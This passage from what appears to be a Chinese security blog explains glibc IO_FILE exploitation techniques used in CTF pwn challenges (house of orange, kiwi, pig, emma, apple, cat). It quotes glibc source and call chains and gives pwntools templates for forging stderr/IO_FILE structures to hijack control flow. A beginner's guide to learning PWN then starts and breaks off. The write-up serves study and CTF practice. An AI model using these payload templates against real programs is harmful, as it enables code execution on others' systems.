,该函数通过系统调用从硬盘读取数据到缓冲区;读取以后,设定缓冲区的读取边界\n\n\n_IO_new_file_underflow 的应用比较广,很多文件读写最终都会向该函数发起调用并且,有些函数并不经过 _IO_doallocbuf ,因此在 _IO_new_file_underflow 中会有一次判断和开辟的过程。\n\n最后,在完成调用以后,会通过 continue 返回到 while 重新进行判断,由于其这次将缓冲区初始化,因此可以通过 memcpy 将数据复制到用户缓冲区:\n while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }\n\n这一套调用链梳理以后,对 文件结构是文件在内存中的抽象 这一概念或许就有些概念了。\n如您所见,上述的调用链多次使用虚表进行跳转,因此如果能够劫持虚表中的函数地址,即可在调用对应函数时劫持控制流。\n2.24 调整与保护在上文中介绍了劫持虚表以及文件结构的调用逻辑。但劫持整个虚表的操作在 GLIBC2.24 开始就被检查了。\n后来添加的 IO_validate_vtable 和 IO_vtable_check 用于检查 vtable 的合法性:\nstatic inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable;}\n\n进入检查的前提条件是:虚表对应的偏移大于虚表节区的长度。\nGLIBC 维护了多张虚表,但这些虚表均处于一段较为固定的内存,因此该判断触发条件是,虚表不位于该内存段处。\nvoid attribute_hidden_IO_vtable_check (void){#ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE PTR_DEMANGLE (flag);#endif if (flag == &_IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }#else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return;#endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\\n");}\n\n对上述检查,仅限于重构或是动态链接库中 vtable,否则将会触发报错并关闭进程。\n因此自 GLIBC2.24 以来,对虚表的伪造就仅限于在对应的地址段内进行了。\n高版本下的调用链思考再接下来的版本里,往往这种利用的对抗转为了调用链的发现和利用。正如上文所说,vtable 被限制到了固定的内存段,但是将 vtable 改为其他合法的跳转表,并劫持其他跳转表中会使用的函数指针即可。\n而在后来的版本中,官方又将函数指针删除,转为对应的固定函数,因此调用链被消解,但又有大佬找到了新的调用链。\n一般来说,IO_FILE 的利用集中在 GLIBC2.31 之后,尤其是在 GLIBC2.34 中删除了 __free_hook 和 __malloc_hook 的情况下。\nhouse of orange我自己最早听说过的 IO 利用就来自于该操作。其出现于 2016 年的 HITCON,距本文撰写已经有六年左右了。该利用本身指的是 “在没有 free 的情况下获得被释放的内存块”,但是题目最终却需要结合 IO_FILE 完成利用,因此本节的重点也放在后半部分。\n在当时的环境中,尚且使用 GLIBC2.23,因此劫持虚表的操作是可行的。\n通过 unsortedbin attack 能将 main_arena+88/96 写入任意地址的操作,将其写入到 _IO_list_all 中,相当于伪造链表的操作了。\n而该地址作为新的 _IO_FILE_plus 被使用时,其 _chain 字段正好对应到了 smallbin[4] ,因此只要将合适的内存块伪造好数据并放入其中,就能令 _chain 指向的下一个 _IO_FILE_plus 由攻击者控制,则 vtable 就能够指向任意地址了。\n至于触发调用链:malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()\n for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }\n\n由于这个步骤过于一气呵成了,因此在这里做一个简单的解释:\n在调用 malloc 时,会检查 Bins 结构,并发现 unsortedbin 中存在 chunk,因此开始遍历。首先在第一次遍历时会将原本的 Top chunk 取出,从而完成 unsortedbin attack:\nunsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);\n\n并且在这之后,会将这块内存放入 smallbin 中:\n if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; }...... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;\n\n但由于该循环的条件仍然满足,即堆管理器认为 unsortedbin 中还有内容,因此进入第二次遍历:\nwhile ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);\n\n而在这一次中,由于本次取出的值实则为 _IO_list_all-0x10 ,并未伪造对应的 size 等字段,因此会触发 malloc_printerr 从而进入上文所述的调用链。\n由于 unsortedbin attack 的关系,_IO_list_all 被改为了 unsortedbin ,而 _chain 字段正好对应到了 smallbin[0x60] ,而该处正好就是上一次被放入的 top chunk,因此在上次更新时布置好 vtable 即可劫持控制流。\nhouse of kiwi思路和 orange 的差别在于,orange 尝试直接伪造整个 vtable,而 kiwi 只希望修改 vtable 中的某一项为 setcontext+61 来调整 rsp 和 rcx 的值来劫持控制流。\n调用链:assert->malloc_assert->fflush(stderr)->_IO_file_sync\nstatic void__malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion);fflush (stderr);abort ();}\n\n该调用链会读取 stderr 的 IO_FILE 中的 vtable 完成利用,因此需要伪造其 vtable 中的某一项。\n不过笔者尝试在 Ubuntu16.04 和 Ubuntu18.04 以及 Ubuntu20.04 上测试,发现 vtable 所属的内存段都没有可写权限,似乎这个利用只存在于早期版本,在之后的小版本更新后就被修复了。\n\nGNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.Copyright (C) 2020 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 9.4.0.libc ABIs: UNIQUE IFUNC ABSOLUTE\n\n不过该方法的利用链和利用技巧却在之后的其他利用手段中被常常使用:\n<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]<setcontext+95>: test DWORD PTR fs:0x48,0x2<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>-><setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]<setcontext+301>: push rcx<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]<setcontext+332>: xor eax,eax<setcontext+334>: ret\n\n假设现在我们能令 rdx 指向自己伪造的某个结构体,那么就能够在上述代码段中设定所有通用寄存器的值。同时可以注意到,rcx 寄存器用以设定该函数的返回值,其被储存在了 [rdx+0xa8] 。\nhouse of pig在只有 calloc 的情况下,通过 tcachebin 完成的一种利用技巧。\n其触发函数只有一个:_IO_str_overflow ,关键代码如下:\nif (fp->_flags & _IO_USER_BUF) return EOF;else{ char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size);//-------house of pig:get chunk from tcache if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); //-------house of pig:copy /bin/sh and system to _free_hook free (old_buf); //-------house of pig:getshell /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; }\n\n此段代码调用 malloc 、memcpy 和 free ,触发关键是在申请内存时已向 tcachebin 中放入 __free_hook ,而调用 memcpy 时向其中写入其他函数地址,然后在 free 时触发劫持。\n此项利用和上面又有些许不同的是,我们可以直接伪造整个 IO_FILE ,但将其 vtable 指向 _IO_str_jumps 而不需要修改跳转表本身,由于_IO_str_jumps 是一个合法的跳转表,因此能够正常被使用而不会触发异常。\n调用 _IO_flush_all_lockp 时可以触发该函数,一般如下任意一个都行:\n\n\n当 libc 执行abort流程时。\n\n\n\n程序显式调用 exit 。\n\n\n\n程序能通过主函数返回。\n\n\n\n\n但这需要 __free_hook ,如您所见,自 GLIBC2.34 以来就不再使用了。不过如果能写 got 表,在之后还是可以尝试利用的。\n\n常用的伪造 stderr 模板:\n# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptrfake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)fake_stderr = fake_stderr.ljust(0x78, b'\\x00')fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lockfake_stderr = fake_stderr.ljust(0x90, b'\\x00') # sropfake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp ripfake_stderr = fake_stderr.ljust(0xc8, b'\\x00')fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)fake_stderr += p64(0) + p64(0x21)fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8fake_stderr += p64(0) + p64(0x21) + p64(0)*3fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38\n\nhouse of emma在 GLIBC2.34 以后没有了 __free_hook 和 __malloc_hook 等极其方便的利用,因此出现了一个新的利用链,主要和 _IO_cookie_jumps 有关。\n但其本质似乎更类似于一个 __free_hook 和 __malloc_hook 的代替品:\nstatic ssize_t_IO_cookie_read (FILE *fp, void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read;#ifdef PTR_DEMANGLE PTR_DEMANGLE (read_cb);#endif if (read_cb == NULL) return -1; return read_cb (cfile->__cookie, buf, size);}static ssize_t_IO_cookie_write (FILE *fp, const void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write;#ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb);#endif if (write_cb == NULL) { fp->_flags |= _IO_ERR_SEEN; return 0; } ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN; return n;}static off64_t_IO_cookie_seek (FILE *fp, off64_t offset, int dir){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;#ifdef PTR_DEMANGLE PTR_DEMANGLE (seek_cb);#endif return ((seek_cb == NULL || (seek_cb (cfile->__cookie, &offset, dir) == -1) || offset == (off64_t) -1) ? _IO_pos_BAD : offset);}static int_IO_cookie_close (FILE *fp){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_close_function_t *close_cb = cfile->__io_functions.close;#ifdef PTR_DEMANGLE PTR_DEMANGLE (close_cb);#endif if (close_cb == NULL) return 0; return close_cb (cfile->__cookie);}\n\n可以注意到,关键的几个跳转函数都来自于函数指针:\ncookie_read_function_t *read_cb = cfile->__io_functions.read;cookie_write_function_t *write_cb = cfile->__io_functions.write;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;cookie_close_function_t *close_cb = cfile->__io_functions.close;\n\n这个文件结构来自于如下结构体:\nstruct _IO_cookie_file{ struct _IO_FILE_plus __fp; void *__cookie; cookie_io_functions_t __io_functions;};typedef struct _IO_cookie_io_functions_t{ cookie_read_function_t *read; /* Read bytes. */ cookie_write_function_t *write; /* Write bytes. */ cookie_seek_function_t *seek; /* Seek/tell file position. */ cookie_close_function_t *close; /* Close file. */} cookie_io_functions_t;\n\n在 vtable 为 _IO_cookie_jumps 时会默认当前的结构体为 _IO_cookie_file 。\n在湖湘杯的原题中,其利用思路如下:\n\n伪造 stderr 的 IO_FILE 为堆中数据,并将其 vtable 改为 _IO_cookie_jumps 。然后同 house of kiwi 一样,通过修改 top chunk 的 size 以触发 malloc_assert 与 fflush(stderr) ,从而调用 setcontext+61 来调用 ROP 进行 ORW 读取 flag\n\n不过在高版本中对需表添加了指针保护,其原理是:在调用虚表函数时,将其地址与一个“随机值”进行异或后跳转。\n0x7fad55f729f4 <_IO_cookie_write+4> push rbp0x7fad55f729f5 <_IO_cookie_write+5> push rbx0x7fad55f729f6 <_IO_cookie_write+6> mov rbx, rdi0x7fad55f729f9 <_IO_cookie_write+9> sub rsp, 80x7fad55f729fd <_IO_cookie_write+13> mov rax, qword ptr [rdi + 0xf0]0x7fad55f72a04 <_IO_cookie_write+20> ror rax, 0x110x7fad55f72a08 <_IO_cookie_write+24> xor rax, qword ptr fs:[0x30]0x7fad55f72a11 <_IO_cookie_write+33> test rax, rax0x7fad55f72a14 <_IO_cookie_write+36> je _IO_cookie_write+550x7fad55f72a16 <_IO_cookie_write+38> mov rbp, rdx0x7fad55f72a19 <_IO_cookie_write+41> mov rdi, qword ptr [rdi + 0xe0]0x7fad55f72a20 <_IO_cookie_write+48> call rax\n\n\n先将值循环右移 11 位后与 fs:[0x30] 异或得到真正的跳转地址。但在本题中可以考虑直接修改 fs:[0x30] 中储存的值来绕过这个检查。\n通过多次的 largebin attack 可以实现多次任意地址读写,这能令我们修改 fs:[0X30] 和 stderr。\n如下为常用的伪造模板:\ndef ROL(content, key): tmp = bin(content)[2:].rjust(64, '0') return int(tmp[key:] + tmp[:key], 2)magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]fake_IO_FILE = 2 * p64(0)fake_IO_FILE += p64(0) # _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(0) # _IO_buf_basefake_IO_FILE += p64(0) # _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\\x00')fake_IO_FILE += p64(next_chain) # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\\x00')fake_IO_FILE += p64(heap_base) # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\\x00')fake_IO_FILE += p64(0) # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\\x00')fake_IO_FILE += p64(libc_base+libc.sym['_IO_cookie_jumps'] + 0x40) # vtablefake_IO_FILE += p64(srop_addr) # rdifake_IO_FILE += p64(0)fake_IO_FILE += p64(ROL(magic_gadget ^ (garud_value), 0x11))\n\nhouse of appleapple1该方法作为今年刚出现的新利用,发现者本人已经对该利用做了非常详细的分析,再复述一遍也没有太大的意义,而且也不太尊重这位师傅。因此本文只做一些基本的总结性分析,对于原文的相近分析,可在参考列表中找到 roderick01 师傅的原文。\n使用 house of apple 的条件为:\n\n1、程序从 main 函数返回或能调用 exit 函数\n2、能泄露出 heap 地址和 libc 地址\n3、 能使用一次 largebin attack\n\n调用链为:\nexit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_OVERFLOW\n\n在函数主动调用 exit 或从 main 函数正常返回时都能够触发该调用链。\n关键点是通过调用 _IO_wstrn_overflow 等函数实现一次任意地址写:\nstatic wint_t_IO_wstrn_overflow (FILE *fp, wint_t c){ _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t)), 0); fp->_wide_data->_IO_write_base = snf->overflow_buf; fp->_wide_data->_IO_read_base = snf->overflow_buf; fp->_wide_data->_IO_read_ptr = snf->over flow_buf; fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t))); } fp->_wide_data->_IO_write_ptr = snf->overflow_buf; fp->_wide_data->_IO_write_end = snf->overflow_buf; return c;}\n\n如果能够伪造 _IO_list_all 结构体中的数据,就能够在合适的地点调用该函数,通过设定 _wide_data 来实现任意地址写:\nfp->_wide_data->_IO_write_base = snf->overflow_buf;fp->_wide_data->_IO_read_base = snf->overflow_buf;fp->_wide_data->_IO_read_ptr = snf->over flow_buf;fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t)));\n\n而由于 _IO_flush_all_lockp 是会通过 _IO_list_all 遍历整个链表的,因此在伪造时可以直接布置好 _chain 来构成连接,从而在第二个伪造的 IO_FILE 中完成利用。\n所以整个利用算是对前面几个利用的一种补充,其关键点在于通过一次写入完成整条调用链的布置。\n在第一个 IO_FILE 中布置一系列数据之后,在第二个 IO_FILE 中借助已经布置好的数据完成利用。提出者本人总结了几个好用的常规思路:\n\nhouse of apple1 + house of pig\n\n\n第一步通过数据写入去修改 tcachebin 中的数据内容,然后在第二个 IO_FILE 中调用 malloc/memcpy 进行任意地址覆盖,如果能够覆盖 free 的 got 表,就能在马上到来时劫持执行流了。\n\n\nhouse of apple1 + house of emma\n\n\nhouse of emma 需要修改 pointer_guard 来绕过指针保护,因此可以通过第一步修改该值为一个定值,然后在第二步中进行 ROP。\n\napple2除了第一种方法外,roderick01 师傅还提出了另外一种利用方法。\n_IO_wide_data 自带了一个虚表指针,而在调用这部分函数时并不会通过 IO_validate_vtable 检查地址合法性,因此可以像是 GLIBC2.23 那样直接修改虚表内容进行劫持。\n主要过程是,劫持 vtable 为 _IO_wfile_jumps ,并控制 IO_FILE 中的 _wide_data -> _wide_vtable 来劫持其中的函数调用。一般可以正常触发 _IO_WDOALLOCATE 和 _IO_WOVERFLOW ,和前文所述的触发方式没有差别。\n对于第二个方法,师傅总结了三条调用链:\n_IO_wfile_overflow -> _IO_wdoallocbuf - > _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable+0x68)(fp)\n\n_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)\n\n_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)\n\n\nhouse of cat该利用出现在今年的强网杯中,不过它的利用链似乎和 apple2 有一部分重合。\n利用条件如下:\n\n\n能够任意写一个可控地址。\n\n\n\n能够泄露堆地址和libc基址。\n\n\n\n能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。\n\n\n\n其调用链如下:\nvtable -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW\n\n首先通过修改 vtable 的偏移使其在触发虚表跳转时执行 _IO_wfile_seekoff ,从而进行调用链。\n在 house of apple2 中提到过,_wide_vtable 是不经过 IO_validate_vtable 检查的,因此可以直接劫持控制流,通过 house of kiwi 的利用手段,以 setcontext+61 来调用 ROP。\n结语最后我们大致梳理一下 IO 利用的几个发展历程吧。\n\n最开始,我们能够直接修改 vtable 的值,这样就能劫持所有的跳转函数了(house of orange)\nGLIBC2.24 开始,加入了检查,这让虚表必须处于某个特定的内存段内\n既然不能修改整个虚表,那就只修改其中几个会被调用的函数地址(house of kiwi)\n在 GLIBC2.31 9.4.0 的小版本下,整个段被设定为不可写\n既然整个虚表都不能改动了,那就通过其中原有的函数调用链进行利用(house of pig 的 malloc-memcpy-free)\n在 GLIBC2.34 开始,__free_hook 和 __malloc_hook 被删除\n寻找上两个的代替品,发现某个虚表中的调用函数仍然使用函数指针进行,修改这个函数指针进行替代,但是由于指针保护的存在,需要多次写入(house of emma)\n寻找一次写入即可完成的调用链,以及没有指针保护的跳转表(house of apple/cat)\n\n\n当然,正如读者所知的是,除了本文涉及到的几个 house of xxx 外,还有 house of banana/house of husk 等诸多利用没有涉及。它们当然也是很有意思的利用,但似乎在某些地方缺乏了泛用性,因此本文仅选了几个笔者认为比较重要或是有代表性的利用进行学习。您也知道,house of xxx 系列总共已有二十来个,其中涉及到 IO 应该也有将近十多个了。如果为了学习一个利用技巧,前置技能需要十来个其他利用,未免显得有些晦涩了。\n\n参考资料winmt:https://bbs.pediy.com/thread-272098.htmchuj:https://www.cjovi.icu/pwnreview/1171.htmlraycp:https://www.anquanke.com/post/id/177958r3kapig:https://www.anquanke.com/post/id/242640roderick01:https://bbs.pediy.com/thread-273418.htmroderick01:https://bbs.pediy.com/thread-273832.htmroderick01:https://bbs.pediy.com/thread-273863.htm春秋伽玛:https://bbs.pediy.com/thread-270429.htmCatF1y:https://bbs.pediy.com/thread-273895.htm\n师傅们的文章都非常炫酷,如果您想要进一步理解,我推荐读者将本文与上述参考对照着看。\n","categories":["杂物间"],"tags":["漏洞挖掘","pwn"]},{"title":"我们对 PWN 都有哪些误会","url":"/2023/09/21/%E6%88%91%E4%BB%AC%E5%AF%B9%20PWN%20%E9%83%BD%E6%9C%89%E5%93%AA%E4%BA%9B%E8%AF%AF%E4%BC%9A/","content":"\n应安恒的邀请,笔者撰写了本文。希望它能帮到那些想要入门 PWN ,却又不知如何是好的新人。\n\n前言刚入学的时候问了一些大哥们 CTF 中都有哪些方向,分别是做什么的,以及难易度如何,对于难易度方面,大哥们基本上都会回答 “PWN” 是入门最困难的方向。这对于当时一无所知的我造成了巨大的心理压力,但由于队内基本上没有其他师傅做这个方向,所以最开始是半推半就的选择了它。\n但是它其实并没有人们说的那么困难,只是因为人们对他的印象与其他方向相比,更具有一层朦胧感。比如 Crypto,一言蔽之其实是数学;再比如 Web,入门其实是各种工具的使用;但到了二进制方向,我们发现,其实不太好找到一个简单易懂的描述去向新人说明它的入门门槛是什么,无论怎么说,似乎都有一些薄薄的朦胧感。\n就比如我向你介绍 Pwn 的时候说它是 “二进制漏洞挖掘与利用”,并跟你说 “先把 C 语言、汇编、CSAPP 看完”,假设你是一个刚入学的大一新生,并且从来没有接触过这方面的相关内容, 那你大概率只能听懂 “先把 C 语言看完” 这一点,相比于 “先把某某某工具的使用熟悉一下” ,然后大哥紧跟着丢了几篇简单易懂的操作教程,自然还是 Pwn 比较令人迷糊。\n但事实上,如果你是计算机相关专业的学生,那 Pwn 的前置技能其实很可能是你大学三年的必修课,只是你需要提前把它们掌握罢了。哪怕你的培养方案里没有这部分内容,甚至哪怕你不准备做 Pwn 方向,掌握一部分基础技能也会让你对计算机的理解更加深刻(甚至你会发现,渐渐的,你的理解已经让同学无法理解了)。\n所以 Pwn 其实并没有人们常说的那样难以入门,因为很多内容都是你的必修课而非专业课,只是你需要靠自学的方式提前把它们掌握罢了。\n不过我对 Pwn 的态度正如我过去在知乎的某个回答:\n\n个人感觉最大的难点在于“能否耐得住寂寞”,因为很难说一个人会对这个东西长期持续地抱有很高的热情,大概是有那样的人,并且那样的人都成大神了,但我这种普通人说实话不太做得到……兴趣肯定还是有的,但很难说还会比当年刚入坑时候要高了。\n个人认为现在学pwn已经没有什么系不系统的问题了,随便一搜资料,跟着大师傅们做做,入了这个门槛,然后从此以后基本上自己就能知道要做什么了。但难点在于,现在是2022年,前人搞过的东西已经被修缮的非常好了,但你还是要从前人的路开始走,因此很可能会有一段很长的时间是“什么都做不了”的状态,比赛也是爆零,挖洞也什么都不知道,像是浑浑噩噩就这么晃悠过去一两年之类的,然后就渐渐没有了当年的兴致,觉得这条路太过艰难了(我自己就是这种菜鸡,有很长一段时间因为和现在的赛题考点脱节以至于比赛一题都做不出来…),然后再看看同级的师傅们去搞钱,一两天就赚的比自己实习一个月还高,眼一红心一横就转 web 去了,然后靠着二进制基础比别人多拿一点……\n\n我必须在刚入门时抱以极高的热情,才能在漫长的自学过程中坚持下来,否则这很容易就让人怀疑自己是否需要如此急迫的完成如此之多的任务,但实际上,这却又是没办法的事情。\nHow to doQ1:到底什么时候才算入门不妨先枚举一下常被归为入门必修课的技能:\n\n提问的智慧\n搜索引擎的使用\nC 语言\n汇编语言\nIDA/gdb 的使用\nPython 脚本的编写\nx86_64 架构下程序运行原理\nctf-wiki\n\n其中最容易被忽略,却又最重要的其实是第一和第二个。只有先学会如何提问和如何自行解决问题以后才有其他后话可说。当然,大部分人都会在之后的学习里不知不觉地掌握它们,但首先得有这份意识。\n然后是二进制精专的入门课程,想来很多人在初学时都会跟我一样抱有这样的疑问:“我知道要学这个,但是要学到什么程度才行?”\n其实这并不需要自己去烦恼,因为我们最后都要进入实战。当你困惑于是否还需要继续向下深入时,不妨上更大平台找一道入门题目,在不看任何答案的情况下检验自己。如果你能够做出来,哪怕只是勉强做出来,那都说明你已经迈过了这个门槛。而如果你尚且还做不出来,那么就需要了解自己是因为哪方面的原因导致,然后在这个方面进一步深入。\n比方说 C 语言,但你看完了基础语法,能够上手写点简单的代码时,就可以开始尝试了;再比方说汇编,如果你能一行一行读明白它们在做什么,那大多时候也足够入门了。\n用具体的数值量化的话,如果你看的是书籍,那么一般要看到书的 1/2 部分,剩下的 1/2 或许暂时用不上,但日后总会遇到需要补课的时候。\n总的来说,只要能够独立完成一道基本的 ret2text ,其实就已经算是入门了。\nQ2:我学完了基础,为什么感觉看题时还是很迷茫一般来说也分两种情况,一种是遇到了自己从没见识过的东西,另外一种则是基础不够扎实。这里推荐各位参考 CTF-Wiki 下 Pwn - Linux Platform - User Mode - Exploitation - Stack Overflow - x86 部分,跟着其内容完成 栈介绍-栈溢出原理 - 基本 ROP 